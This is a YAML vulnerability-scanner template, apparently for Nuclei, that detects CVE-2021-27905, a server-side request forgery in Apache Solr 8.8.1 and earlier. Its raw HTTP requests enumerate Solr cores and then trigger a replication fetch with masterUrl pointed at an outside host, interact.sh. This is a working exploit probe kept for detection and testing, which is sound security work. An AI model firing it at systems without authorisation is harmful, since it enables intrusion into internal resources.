57 lines
2.4 KiB
YAML
57 lines
2.4 KiB
YAML
id: CVE-2021-27905
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info:
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name: Apache Solr <=8.8.1 - Server-Side Request Forgery
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author: hackergautam
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severity: critical
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description: Apache Solr versions 8.8.1 and prior contain a server-side request forgery vulnerability. The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
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remediation: This issue is resolved in Apache Solr 8.8.2 and later.
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reference:
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- https://www.anquanke.com/post/id/238201
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- https://ubuntu.com/security/CVE-2021-27905
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27905
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- https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
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- https://lists.apache.org/thread.html/r0ddc3a82bd7523b1453cb7a5e09eb5559517145425074a42eb326b10%40%3Cannounce.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-27905
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cwe-id: CWE-918
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epss-score: 0.94485
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epss-percentile: 0.99029
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cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: apache
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product: solr
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tags: cve,cve2021,apache,solr,ssrf
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http:
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- raw:
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- |
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GET /solr/admin/cores?wt=json HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: en
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Connection: close
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- |
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GET /solr/{{core}}/replication/?command=fetchindex&masterUrl=https://interact.sh HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: en
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Connection: close
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matchers:
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- type: word
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part: body
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words:
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- '<str name="status">OK</str>'
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extractors:
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- type: regex
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name: core
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group: 1
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regex:
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- '"name"\:"(.*?)"'
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internal: true
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# digest: 4a0a0047304502205f84880ba892b326c1e06e7a1df194eb8d0570bef585ac65d73015ba8e8d4cfd022100b60f82e2932e49dd701368f665d8e455e88a0e116e25cc15b45796ca709485f5:922c64590222798bb761d5b6d8e72950 |